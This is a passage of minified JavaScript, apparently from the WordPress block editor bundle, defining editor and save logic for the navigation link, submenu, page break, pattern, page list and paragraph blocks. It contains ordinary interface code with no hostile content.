${Q}`.trim()),(0,$e.createElement)("span",{className:"wp-block-navigation-link__missing_text-tooltip"},K))))):(0,$e.createElement)("div",{className:"wp-block-navigation-link__placeholder-text"},(0,$e.createElement)(We.Tooltip,{position:"top center",text:K},(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("span",null,Z),(0,$e.createElement)("span",{className:"wp-block-navigation-link__missing_text-tooltip"},K)))),C&&(0,$e.createElement)(We.Popover,{position:"bottom center",onClose:()=>S(!1),anchor:B,shift:!0},(0,$e.createElement)(Ze.__experimentalLinkControl,{hasTextControl:!0,hasRichPreviews:!0,className:"wp-block-navigation-link__inline-link-input",value:k,showInitialSuggestions:!0,withCreateSuggestion:G,createSuggestion:async function(e){const t=m||"page",n=await x("postType",t,{title:e,status:"draft"});return{id:n.id,type:t,title:(0,Pd.decodeEntities)(n.title.rendered),url:n.link,kind:"post-type"}},createSuggestionButtonText:e=>{let t;
/* translators: %s: search term. */
return t="post"===m?(0,je.__)("Create draft post: <mark>%s</mark>"):(0,je.__)("Create draft page: <mark>%s</mark>"),(0,$e.createInterpolateElement)((0,je.sprintf)(t,e),{mark:(0,$e.createElement)("mark",null)})},noDirectEntry:!!m,noURLSuggestion:!!m,suggestionsQuery:Np(m,b),onChange:e=>function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const{label:o="",kind:a="",type:r=""}=n,{title:l="",url:i="",opensInNewTab:s,id:c,kind:u=a,type:m=r}=e,d=l.replace(/http(s?):\/\//gi,""),p=i.replace(/http(s?):\/\//gi,""),g=l&&l!==o&&d!==p?(0,St.escape)(l):o||(0,St.escape)(p),h="post_tag"===m?"tag":m.replace("-","_"),v=["post","page","tag","category"].indexOf(h)>-1,b=!u&&!v||"custom"===u?"custom":u;t({...i&&{url:encodeURI((0,rt.safeDecodeURI)(i))},...g&&{label:g},...void 0!==s&&{opensInNewTab:s},...c&&Number.isInteger(c)&&{id:c},...b&&{kind:b},...h&&"URL"!==h&&{type:h}})}(e,o,t),onRemove:function(){o({url:"",label:"",id:"",kind:"",type:""}),S(!1)},renderControlBottom:p?null:()=>(0,$e.createElement)(Ip,{clientId:s,replace:w})})))))},save:function(){return(0,$e.createElement)(Ze.InnerBlocks.Content,null)},example:{attributes:{label:(0,je._x)("Example Link","navigation link preview example"),url:"https://example.com"}},deprecated:[{isEligible:e=>e.nofollow,attributes:{label:{type:"string"},type:{type:"string"},nofollow:{type:"boolean"},description:{type:"string"},id:{type:"number"},opensInNewTab:{type:"boolean",default:!1},url:{type:"string"}},migrate(e){let{nofollow:t,...n}=e;return{rel:t?"nofollow":"",...n}},save:()=>(0,$e.createElement)(Ze.InnerBlocks.Content,null)}],transforms:Dp},Up=()=>((0,Js.addFilter)("blocks.registerBlockType","core/navigation-link",Vp),qe({name:Gp,metadata:Fp,settings:$p})),Op=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"m13.955 20.748 8-17.5-.91-.416L19.597 6H13.5v1.5h5.411l-1.6 3.5H13.5v1.5h3.126l-1.6 3.5H13.5l.028 1.5h.812l-1.295 2.832.91.416ZM17.675 16l-.686 1.5h4.539L21.5 16h-3.825Zm2.286-5-.686 1.5H21.5V11h-1.54ZM2 12c0 3.58 2.42 5.5 6 5.5h.5V19l3-2.5-3-2.5v2H8c-2.48 0-4.5-1.52-4.5-4S5.52 7.5 8 7.5h3.5V6H8c-3.58 0-6 2.42-6 6Z"})),qp=()=>(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"12",height:"12",viewBox:"0 0 12 12",fill:"none"},(0,$e.createElement)(We.Path,{d:"M1.50002 4L6.00002 8L10.5 4",strokeWidth:"1.5"})),{name:Wp}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/navigation-submenu",title:"Submenu",category:"design",parent:["core/navigation"],description:"Add a submenu to your navigation.",textdomain:"default",attributes:{label:{type:"string"},type:{type:"string"},description:{type:"string"},rel:{type:"string"},id:{type:"number"},opensInNewTab:{type:"boolean",default:!1},url:{type:"string"},title:{type:"string"},kind:{type:"string"},isTopLevelItem:{type:"boolean"}},usesContext:["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","maxNestingLevel","openSubmenusOnClick","style"],supports:{reusable:!1,html:!1},editorStyle:"wp-block-navigation-submenu-editor",style:"wp-block-navigation-submenu"},jp=["core/navigation-link","core/navigation-submenu"],Zp={name:"core/navigation-link"};function Qp(e,t){switch(e){case"post":case"page":return{type:"post",subtype:e};case"category":return{type:"term",subtype:"category"};case"tag":return{type:"term",subtype:"post_tag"};case"post_format":return{type:"post-format"};default:return"taxonomy"===t?{type:"term",subtype:e}:"post-type"===t?{type:"post",subtype:e}:{}}}function Kp(e,t){var n,o;const{textColor:a,customTextColor:r,backgroundColor:l,customBackgroundColor:i,overlayTextColor:s,customOverlayTextColor:c,overlayBackgroundColor:u,customOverlayBackgroundColor:m,style:d}=e,p={};return t&&c?p.customTextColor=c:t&&s?p.textColor=s:r?p.customTextColor=r:a?p.textColor=a:null!=d&&null!==(n=d.color)&&void 0!==n&&n.text&&(p.customTextColor=d.color.text),t&&m?p.customBackgroundColor=m:t&&u?p.backgroundColor=u:i?p.customBackgroundColor=i:l?p.backgroundColor=l:null!=d&&null!==(o=d.color)&&void 0!==o&&o.background&&(p.customTextColor=d.color.background),p}const Yp={to:[{type:"block",blocks:["core/navigation-link"],isMatch:(e,t)=>{var n;return 0===(null==t||null===(n=t.innerBlocks)||void 0===n?void 0:n.length)},transform:e=>(0,Ge.createBlock)("core/navigation-link",e)},{type:"block",blocks:["core/spacer"],isMatch:(e,t)=>{var n;return 0===(null==t||null===(n=t.innerBlocks)||void 0===n?void 0:n.length)},transform:()=>(0,Ge.createBlock)("core/spacer")},{type:"block",blocks:["core/site-logo"],isMatch:(e,t)=>{var n;return 0===(null==t||null===(n=t.innerBlocks)||void 0===n?void 0:n.length)},transform:()=>(0,Ge.createBlock)("core/site-logo")},{type:"block",blocks:["core/home-link"],isMatch:(e,t)=>{var n;return 0===(null==t||null===(n=t.innerBlocks)||void 0===n?void 0:n.length)},transform:()=>(0,Ge.createBlock)("core/home-link")},{type:"block",blocks:["core/social-links"],isMatch:(e,t)=>{var n;return 0===(null==t||null===(n=t.innerBlocks)||void 0===n?void 0:n.length)},transform:()=>(0,Ge.createBlock)("core/social-links")},{type:"block",blocks:["core/search"],isMatch:(e,t)=>{var n;return 0===(null==t||null===(n=t.innerBlocks)||void 0===n?void 0:n.length)},transform:()=>(0,Ge.createBlock)("core/search")}]},Jp=Yp,Xp={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/navigation-submenu",title:"Submenu",category:"design",parent:["core/navigation"],description:"Add a submenu to your navigation.",textdomain:"default",attributes:{label:{type:"string"},type:{type:"string"},description:{type:"string"},rel:{type:"string"},id:{type:"number"},opensInNewTab:{type:"boolean",default:!1},url:{type:"string"},title:{type:"string"},kind:{type:"string"},isTopLevelItem:{type:"boolean"}},usesContext:["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","maxNestingLevel","openSubmenusOnClick","style"],supports:{reusable:!1,html:!1},editorStyle:"wp-block-navigation-submenu-editor",style:"wp-block-navigation-submenu"},{name:eg}=Xp,tg={icon:Bp,__experimentalLabel:e=>{let{label:t}=e;return t},edit:function(e){let{attributes:t,isSelected:n,setAttributes:o,mergeBlocks:a,onReplace:r,context:l,clientId:i}=e;const{label:s,type:c,opensInNewTab:u,url:m,description:d,rel:p,title:g,kind:h}=t,v={url:m,opensInNewTab:u},{showSubmenuIcon:b,maxNestingLevel:_,openSubmenusOnClick:y}=l,{saveEntityRecord:f}=(0,it.useDispatch)(lt.store),{__unstableMarkNextChangeAsNotPersistent:k,replaceBlock:x}=(0,it.useDispatch)(Ze.store),[w,E]=(0,$e.useState)(!1),[C,S]=(0,$e.useState)(null),B=(0,$e.useRef)(null),T=(e=>{const[t,n]=(0,$e.useState)(!1);return(0,$e.useEffect)((()=>{const{ownerDocument:t}=e.current;function o(e){r(e)}function a(){n(!1)}function r(t){e.current.contains(t.target)?n(!0):n(!1)}return t.addEventListener("dragstart",o),t.addEventListener("dragend",a),t.addEventListener("dragenter",r),()=>{t.removeEventListener("dragstart",o),t.removeEventListener("dragend",a),t.removeEventListener("dragenter",r)}}),[]),t})(B),N=(0,je.__)("Add text…"),P=(0,$e.useRef)(),I=(0,lt.useResourcePermissions)("pages"),z=(0,lt.useResourcePermissions)("posts"),{isAtMaxNesting:M,isTopLevelItem:L,isParentOfSelectedBlock:R,isImmediateParentOfSelectedBlock:A,hasChildren:V,selectedBlockHasChildren:H,onlyDescendantIsEmptyLink:D}=(0,it.useSelect)((e=>{const{hasSelectedInnerBlock:t,getSelectedBlockClientId:n,getBlockParentsByBlockName:o,getBlock:a,getBlockCount:r,getBlockOrder:l}=e(Ze.store);let s;const c=l(n());if(1===(null==c?void 0:c.length)){var u;const e=a(c[0]);s="core/navigation-link"===(null==e?void 0:e.name)&&!(null!=e&&null!==(u=e.attributes)&&void 0!==u&&u.label)}return{isAtMaxNesting:o(i,Wp).length>=_,isTopLevelItem:0===o(i,Wp).length,isParentOfSelectedBlock:t(i,!0),isImmediateParentOfSelectedBlock:t(i,!1),hasChildren:!!r(i),selectedBlockHasChildren:!(null==c||!c.length),onlyDescendantIsEmptyLink:s}}),[i]);(0,$e.useEffect)((()=>{y||m||E(!0)}),[]),(0,$e.useEffect)((()=>{k(),o({isTopLevelItem:L})}),[L]),(0,$e.useEffect)((()=>{n||E(!1)}),[n]),(0,$e.useEffect)((()=>{w&&m&&((0,rt.isURL)((0,rt.prependHTTP)(s))&&/^.+\.[a-z]+/.test(s)?function(){P.current.focus();const{ownerDocument:e}=P.current,{defaultView:t}=e,n=t.getSelection(),o=e.createRange();o.selectNodeContents(P.current),n.removeAllRanges(),n.addRange(o)}():(0,id.placeCaretAtHorizontalEdge)(P.current,!0))}),[m]);let F=!1;c&&"page"!==c?"post"===c&&(F=z.canCreate):F=I.canCreate;const{textColor:G,customTextColor:$,backgroundColor:U,customBackgroundColor:O}=Kp(l,!L),q=(0,Ze.useBlockProps)({ref:(0,Wt.useMergeRefs)([S,B]),className:at()("wp-block-navigation-item",{"is-editing":n||R,"is-dragging-within":T,"has-link":!!m,"has-child":V,"has-text-color":!!G||!!$,[(0,Ze.getColorClassName)("color",G)]:!!G,"has-background":!!U||O,[(0,Ze.getColorClassName)("background-color",U)]:!!U,"open-on-click":y}),style:{color:!G&&$,backgroundColor:!U&&O},onKeyDown:function(e){rn.isKeyboardEvent.primary(e,"k")&&E(!0)}}),W=Kp(l,!0),j=M?(0,St.without)(jp,"core/navigation-submenu"):jp,Z=(0,Ze.useInnerBlocksProps)({className:at()("wp-block-navigation__submenu-container",{"is-parent-of-selected-block":R,"has-text-color":!(!W.textColor&&!W.customTextColor),[`has-${W.textColor}-color`]:!!W.textColor,"has-background":!(!W.backgroundColor&&!W.customBackgroundColor),[`has-${W.backgroundColor}-background-color`]:!!W.backgroundColor}),style:{color:W.customTextColor,backgroundColor:W.customBackgroundColor}},{allowedBlocks:j,__experimentalDefaultBlock:Zp,__experimentalDirectInsert:!0,__experimentalCaptureToolbars:!0,renderAppender:!!(n||A&&!H||V)&&Ze.InnerBlocks.ButtonBlockAppender}),Q=y?"button":"a",K=!H||D;return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(We.ToolbarGroup,null,!y&&(0,$e.createElement)(We.ToolbarButton,{name:"link",icon:ln,title:(0,je.__)("Link"),shortcut:rn.displayShortcut.primary("k"),onClick:()=>E(!0)}),(0,$e.createElement)(We.ToolbarButton,{name:"revert",icon:Op,title:(0,je.__)("Convert to Link"),onClick:function(){const e=(0,Ge.createBlock)("core/navigation-link",t);x(i,e)},className:"wp-block-navigation__submenu__revert",isDisabled:!K}))),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Link settings")},(0,$e.createElement)(We.TextareaControl,{value:d||"",onChange:e=>{o({description:e})},label:(0,je.__)("Description"),help:(0,je.__)("The description will be displayed in the menu if the current theme supports it.")}),(0,$e.createElement)(We.TextControl,{value:g||"",onChange:e=>{o({title:e})},label:(0,je.__)("Link title"),autoComplete:"off"}),(0,$e.createElement)(We.TextControl,{value:p||"",onChange:e=>{o({rel:e})},label:(0,je.__)("Link rel"),autoComplete:"off"}))),(0,$e.createElement)("div",q,(0,$e.createElement)(Q,{className:"wp-block-navigation-item__content"},(0,$e.createElement)(Ze.RichText,{ref:P,identifier:"label",className:"wp-block-navigation-item__label",value:s,onChange:e=>o({label:e}),onMerge:a,onReplace:r,"aria-label":(0,je.__)("Navigation link text"),placeholder:N,withoutInteractiveFormatting:!0,allowedFormats:["core/bold","core/italic","core/image","core/strikethrough"],onClick:()=>{y||m||E(!0)}}),!y&&w&&(0,$e.createElement)(We.Popover,{position:"bottom center",onClose:()=>E(!1),anchor:C,shift:!0},(0,$e.createElement)(Ze.__experimentalLinkControl,{className:"wp-block-navigation-link__inline-link-input",value:v,showInitialSuggestions:!0,withCreateSuggestion:F,createSuggestion:async function(e){const t=c||"page",n=await f("postType",t,{title:e,status:"draft"});return{id:n.id,type:t,title:n.title.rendered,url:n.link,kind:"post-type"}},createSuggestionButtonText:e=>{let t;
/* translators: %s: search term. */
return t="post"===c?(0,je.__)("Create draft post: <mark>%s</mark>"):(0,je.__)("Create draft page: <mark>%s</mark>"),(0,$e.createInterpolateElement)((0,je.sprintf)(t,e),{mark:(0,$e.createElement)("mark",null)})},noDirectEntry:!!c,noURLSuggestion:!!c,suggestionsQuery:Qp(c,h),onChange:e=>function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const{label:o="",kind:a="",type:r=""}=n,{title:l="",url:i="",opensInNewTab:s,id:c,kind:u=a,type:m=r}=e,d=l.replace(/http(s?):\/\//gi,""),p=i.replace(/http(s?):\/\//gi,""),g=""!==l&&d!==p&&o!==l?(0,St.escape)(l):o||(0,St.escape)(p),h="post_tag"===m?"tag":m.replace("-","_"),v=["post","page","tag","category"].indexOf(h)>-1,b=!u&&!v||"custom"===u?"custom":u;t({...i&&{url:encodeURI((0,rt.safeDecodeURI)(i))},...g&&{label:g},...void 0!==s&&{opensInNewTab:s},...c&&Number.isInteger(c)&&{id:c},...b&&{kind:b},...h&&"URL"!==h&&{type:h}})}(e,o,t),onRemove:()=>{o({url:""}),(0,xd.speak)((0,je.__)("Link removed."),"assertive")}}))),(b||y)&&(0,$e.createElement)("span",{className:"wp-block-navigation__submenu-icon"},(0,$e.createElement)(qp,null)),(0,$e.createElement)("div",Z)))},save:function(){return(0,$e.createElement)(Ze.InnerBlocks.Content,null)},transforms:Jp},ng=()=>qe({name:eg,metadata:Xp,settings:tg}),og=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M7.8 6c0-.7.6-1.2 1.2-1.2h6c.7 0 1.2.6 1.2 1.2v3h1.5V6c0-1.5-1.2-2.8-2.8-2.8H9C7.5 3.2 6.2 4.5 6.2 6v3h1.5V6zm8.4 11c0 .7-.6 1.2-1.2 1.2H9c-.7 0-1.2-.6-1.2-1.2v-3H6.2v3c0 1.5 1.2 2.8 2.8 2.8h6c1.5 0 2.8-1.2 2.8-2.8v-3h-1.5v3zM4 11v1h16v-1H4z"})),ag={from:[{type:"raw",schema:{"wp-block":{attributes:["data-block"]}},isMatch:e=>e.dataset&&"core/nextpage"===e.dataset.block,transform:()=>(0,Ge.createBlock)("core/nextpage",{})}]},rg={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/nextpage",title:"Page Break",category:"design",description:"Separate your content into a multi-page experience.",keywords:["next page","pagination"],parent:["core/post-content"],textdomain:"default",supports:{customClassName:!1,className:!1,html:!1},editorStyle:"wp-block-nextpage-editor"},{name:lg}=rg,ig={icon:og,example:{},transforms:ag,edit:function(){return(0,$e.createElement)("div",(0,Ze.useBlockProps)(),(0,$e.createElement)("span",null,(0,je.__)("Page break")))},save:function(){return(0,$e.createElement)($e.RawHTML,null,"\x3c!--nextpage--\x3e")}},sg=()=>qe({name:lg,metadata:rg,settings:ig}),cg={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/pattern",title:"Pattern",category:"theme",description:"Show a block pattern.",supports:{html:!1,inserter:!1},textdomain:"default",attributes:{slug:{type:"string"}}},{name:ug}=cg,mg={edit:e=>{let{attributes:t,clientId:n}=e;const o=(0,it.useSelect)((e=>e(Ze.store).__experimentalGetParsedPattern(t.slug)),[t.slug]),{replaceBlocks:a,__unstableMarkNextChangeAsNotPersistent:r}=(0,it.useDispatch)(Ze.store);(0,$e.useEffect)((()=>{null!=o&&o.blocks&&(r(),a(n,o.blocks))}),[null==o?void 0:o.blocks]);const l=(0,Ze.useBlockProps)();return(0,$e.createElement)("div",l)}},dg=()=>qe({name:ug,metadata:cg,settings:mg}),pg=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M7 13.8h6v-1.5H7v1.5zM18 16V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zM5.5 16V4c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5zM7 10.5h8V9H7v1.5zm0-3.3h8V5.8H7v1.4zM20.2 6v13c0 .7-.6 1.2-1.2 1.2H8v1.5h11c1.5 0 2.7-1.2 2.7-2.8V6h-1.5z"})),gg=["id","title","link","type","parent"],hg=e=>{let{pages:t,clientId:n,replaceBlock:o,createBlock:a}=e;return()=>{if(!t)return;const e={},r=[];t.forEach((t=>{var n,o;let{id:l,title:i,link:s,type:c,parent:u}=t;const m=null!==(n=null===(o=e[l])||void 0===o?void 0:o.innerBlocks)&&void 0!==n?n:[];e[l]=a("core/navigation-link",{id:l,label:i.rendered,url:s,type:c,kind:"post-type"},m),u?(e[u]||(e[u]={innerBlocks:[]}),e[u].innerBlocks.push(e[l])):r.push(e[l])}));const l=e=>{e.forEach(((e,t,n)=>{const{attributes:o,innerBlocks:r}=e;if(0!==r.length){l(r);const e=a("core/navigation-submenu",o,r);n[t]=e}}))};l(r),o(n,r)}};function vg(e){let{onClose:t,clientId:n}=e;const{records:o,hasResolved:a}=(0,lt.useEntityRecords)("postType","page",{per_page:100,_fields:gg,orderby:"menu_order",order:"asc"}),{replaceBlock:r}=(0,it.useDispatch)(Ze.store);return(0,$e.createElement)(We.Modal,{closeLabel:(0,je.__)("Close"),onRequestClose:t,title:(0,je.__)("Convert to links"),className:"wp-block-page-list-modal",aria:{describedby:"wp-block-page-list-modal__description"}},(0,$e.createElement)("p",{id:"wp-block-page-list-modal__description"},(0,je.__)("To edit this navigation menu, convert it to single page links. This allows you to add, re-order, remove items, or edit their labels.")),(0,$e.createElement)("p",null,(0,je.__)("Note: if you add new pages to your site, you'll need to add them to your navigation menu.")),(0,$e.createElement)("div",{className:"wp-block-page-list-modal-buttons"},(0,$e.createElement)(We.Button,{variant:"tertiary",onClick:t},(0,je.__)("Cancel")),(0,$e.createElement)(We.Button,{variant:"primary",disabled:!a,onClick:hg({pages:o,replaceBlock:r,clientId:n,createBlock:Ge.createBlock})},(0,je.__)("Convert"))))}const bg=()=>(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"12",height:"12",viewBox:"0 0 12 12",fill:"none"},(0,$e.createElement)(We.Path,{d:"M1.50002 4L6.00002 8L10.5 4",strokeWidth:"1.5"})),_g=(0,$e.memo)((function e(t){let{context:n,pagesByParentId:o,parentId:a=0,depth:r=0}=t;const l=o.get(a),i=(0,it.useSelect)((e=>{if(!e(lt.store).canUser("read","settings"))return;const t=e(lt.store).getEntityRecord("root","site");return"page"===(null==t?void 0:t.show_on_front)&&(null==t?void 0:t.page_on_front)}),[]);return null!=l&&l.length?l.map((t=>{var a,l;const s=o.has(t.id),c="showSubmenuIcon"in n;return(0,$e.createElement)("li",{key:t.id,className:at()("wp-block-pages-list__item",{"has-child":s,"wp-block-navigation-item":c,"open-on-click":n.openSubmenusOnClick,"open-on-hover-click":!n.openSubmenusOnClick&&n.showSubmenuIcon,"menu-item-home":t.id===i})},s&&n.openSubmenusOnClick?(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("button",{className:"wp-block-navigation-item__content wp-block-navigation-submenu__toggle","aria-expanded":"false"},null===(a=t.title)||void 0===a?void 0:a.rendered),(0,$e.createElement)("span",{className:"wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon"},(0,$e.createElement)(bg,null))):(0,$e.createElement)("a",{className:at()("wp-block-pages-list__item__link",{"wp-block-navigation-item__content":c}),href:t.link},null===(l=t.title)||void 0===l?void 0:l.rendered),s&&(0,$e.createElement)($e.Fragment,null,!n.openSubmenusOnClick&&n.showSubmenuIcon&&(0,$e.createElement)("button",{className:"wp-block-navigation-item__content wp-block-navigation-submenu__toggle wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon","aria-expanded":"false"},(0,$e.createElement)(bg,null)),(0,$e.createElement)("ul",{className:at()("submenu-container",{"wp-block-navigation__submenu-container":c})},(0,$e.createElement)(e,{context:n,pagesByParentId:o,parentId:t.id,depth:r+1}))))})):[]})),yg={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/page-list",title:"Page List",category:"widgets",description:"Display a list of all pages.",keywords:["menu","navigation"],textdomain:"default",attributes:{__unstableMaxPages:{type:"number"}},usesContext:["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","style","openSubmenusOnClick"],supports:{reusable:!1,html:!1},editorStyle:"wp-block-page-list-editor",style:"wp-block-page-list"},{name:fg}=yg,kg={icon:pg,example:{},edit:function(e){var t;let{context:n,clientId:o}=e;const{pagesByParentId:a,totalPages:r,hasResolvedPages:l}=function(){const{records:e,hasResolved:t}=(0,lt.useEntityRecords)("postType","page",{orderby:"menu_order",order:"asc",_fields:["id","link","parent","title","menu_order"],per_page:-1,context:"view"});return(0,$e.useMemo)((()=>{var n;const o=[...null!=e?e:[]].sort(((e,t)=>e.menu_order===t.menu_order?e.title.rendered.localeCompare(t.title.rendered):e.menu_order-t.menu_order));return{pagesByParentId:o.reduce(((e,t)=>{const{parent:n}=t;return e.has(n)?e.get(n).push(t):e.set(n,[t]),e}),new Map),hasResolvedPages:t,totalPages:null!==(n=null==e?void 0:e.length)&&void 0!==n?n:null}}),[e,t])}(),i="showSubmenuIcon"in n&&r<=100,[s,c]=(0,$e.useState)(!1),u=(0,Ze.useBlockProps)({className:at()("wp-block-page-list",{"has-text-color":!!n.textColor,[(0,Ze.getColorClassName)("color",n.textColor)]:!!n.textColor,"has-background":!!n.backgroundColor,[(0,Ze.getColorClassName)("background-color",n.backgroundColor)]:!!n.backgroundColor}),style:{...null===(t=n.style)||void 0===t?void 0:t.color}});return(0,$e.createElement)($e.Fragment,null,i&&(0,$e.createElement)(Ze.BlockControls,{group:"other"},(0,$e.createElement)(We.ToolbarButton,{title:(0,je.__)("Edit"),onClick:()=>c(!0)},(0,je.__)("Edit"))),i&&s&&(0,$e.createElement)(vg,{onClose:()=>c(!1),clientId:o}),!l&&(0,$e.createElement)("div",u,(0,$e.createElement)(We.Spinner,null)),l&&null===r&&(0,$e.createElement)("div",u,(0,$e.createElement)(We.Notice,{status:"warning",isDismissible:!1},(0,je.__)("Page List: Cannot retrieve Pages."))),0===r&&(0,$e.createElement)("div",u,(0,$e.createElement)(We.Notice,{status:"info",isDismissible:!1},(0,je.__)("Page List: Cannot retrieve Pages."))),r>0&&(0,$e.createElement)("ul",u,(0,$e.createElement)(_g,{context:n,pagesByParentId:a})))}},xg=()=>qe({name:fg,metadata:yg,settings:kg}),wg=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M18.3 4H9.9v-.1l-.9.2c-2.3.4-4 2.4-4 4.8s1.7 4.4 4 4.8l.7.1V20h1.5V5.5h2.9V20h1.5V5.5h2.7V4z"})),Eg={className:!1},Cg={align:{type:"string"},content:{type:"string",source:"html",selector:"p",default:""},dropCap:{type:"boolean",default:!1},placeholder:{type:"string"},textColor:{type:"string"},backgroundColor:{type:"string"},fontSize:{type:"string"},direction:{type:"string",enum:["ltr","rtl"]},style:{type:"object"}},Sg=e=>{if(!e.customTextColor&&!e.customBackgroundColor&&!e.customFontSize)return e;const t={};(e.customTextColor||e.customBackgroundColor)&&(t.color={}),e.customTextColor&&(t.color.text=e.customTextColor),e.customBackgroundColor&&(t.color.background=e.customBackgroundColor),e.customFontSize&&(t.typography={fontSize:e.customFontSize});const{customTextColor:n,customBackgroundColor:o,customFontSize:a,...r}=e;return{...r,style:t}},{style:Bg,...Tg}=Cg,Ng=[{supports:Eg,attributes:{...Tg,customTextColor:{type:"string"},customBackgroundColor:{type:"string"},customFontSize:{type:"number"}},save(e){let{attributes:t}=e;const{align:n,content:o,dropCap:a,direction:r}=t,l=at()({"has-drop-cap":n!==((0,je.isRTL)()?"left":"right")&&"center"!==n&&a,[`has-text-align-${n}`]:n});return(0,$e.createElement)("p",Ze.useBlockProps.save({className:l,dir:r}),(0,$e.createElement)(Ze.RichText.Content,{value:o}))}},{supports:Eg,attributes:{...Tg,customTextColor:{type:"string"},customBackgroundColor:{type:"string"},customFontSize:{type:"number"}},migrate:Sg,save(e){let{attributes:t}=e;const{align:n,content:o,dropCap:a,backgroundColor:r,textColor:l,customBackgroundColor:i,customTextColor:s,fontSize:c,customFontSize:u,direction:m}=t,d=(0,Ze.getColorClassName)("color",l),p=(0,Ze.getColorClassName)("background-color",r),g=(0,Ze.getFontSizeClass)(c),h=at()({"has-text-color":l||s,"has-background":r||i,"has-drop-cap":a,[`has-text-align-${n}`]:n,[g]:g,[d]:d,[p]:p}),v={backgroundColor:p?void 0:i,color:d?void 0:s,fontSize:g?void 0:u};return(0,$e.createElement)(Ze.RichText.Content,{tagName:"p",style:v,className:h||void 0,value:o,dir:m})}},{supports:Eg,attributes:{...Tg,customTextColor:{type:"string"},customBackgroundColor:{type:"string"},customFontSize:{type:"number"}},migrate:Sg,save(e){let{attributes:t}=e;const{align:n,content:o,dropCap:a,backgroundColor:r,textColor:l,customBackgroundColor:i,customTextColor:s,fontSize:c,customFontSize:u,direction:m}=t,d=(0,Ze.getColorClassName)("color",l),p=(0,Ze.getColorClassName)("background-color",r),g=(0,Ze.getFontSizeClass)(c),h=at()({"has-text-color":l||s,"has-background":r||i,"has-drop-cap":a,[g]:g,[d]:d,[p]:p}),v={backgroundColor:p?void 0:i,color:d?void 0:s,fontSize:g?void 0:u,textAlign:n};return(0,$e.createElement)(Ze.RichText.Content,{tagName:"p",style:v,className:h||void 0,value:o,dir:m})}},{supports:Eg,attributes:{...Tg,customTextColor:{type:"string"},customBackgroundColor:{type:"string"},customFontSize:{type:"number"},width:{type:"string"}},migrate:Sg,save(e){let{attributes:t}=e;const{width:n,align:o,content:a,dropCap:r,backgroundColor:l,textColor:i,customBackgroundColor:s,customTextColor:c,fontSize:u,customFontSize:m}=t,d=(0,Ze.getColorClassName)("color",i),p=(0,Ze.getColorClassName)("background-color",l),g=u&&`is-${u}-text`,h=at()({[`align${n}`]:n,"has-background":l||s,"has-drop-cap":r,[g]:g,[d]:d,[p]:p}),v={backgroundColor:p?void 0:s,color:d?void 0:c,fontSize:g?void 0:m,textAlign:o};return(0,$e.createElement)(Ze.RichText.Content,{tagName:"p",style:v,className:h||void 0,value:a})}},{supports:Eg,attributes:{...Tg,fontSize:{type:"number"}},save(e){let{attributes:t}=e;const{width:n,align:o,content:a,dropCap:r,backgroundColor:l,textColor:i,fontSize:s}=t,c=at()({[`align${n}`]:n,"has-background":l,"has-drop-cap":r}),u={backgroundColor:l,color:i,fontSize:s,textAlign:o};return(0,$e.createElement)("p",{style:u,className:c||void 0},a)},migrate:e=>Sg({...e,customFontSize:Number.isFinite(e.fontSize)?e.fontSize:void 0,customTextColor:e.textColor&&"#"===e.textColor[0]?e.textColor:void 0,customBackgroundColor:e.backgroundColor&&"#"===e.backgroundColor[0]?e.backgroundColor:void 0})},{supports:Eg,attributes:{...Cg,content:{type:"string",source:"html",default:""}},save(e){let{attributes:t}=e;return(0,$e.createElement)($e.RawHTML,null,t.content)},migrate:e=>e}],Pg=Ng,Ig=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,$e.createElement)(Ue.Path,{d:"M5.52 2h7.43c.55 0 1 .45 1 1s-.45 1-1 1h-1v13c0 .55-.45 1-1 1s-1-.45-1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v12c0 .55-.45 1-1 1s-1-.45-1-1v-5.96h-.43C3.02 11.04 1 9.02 1 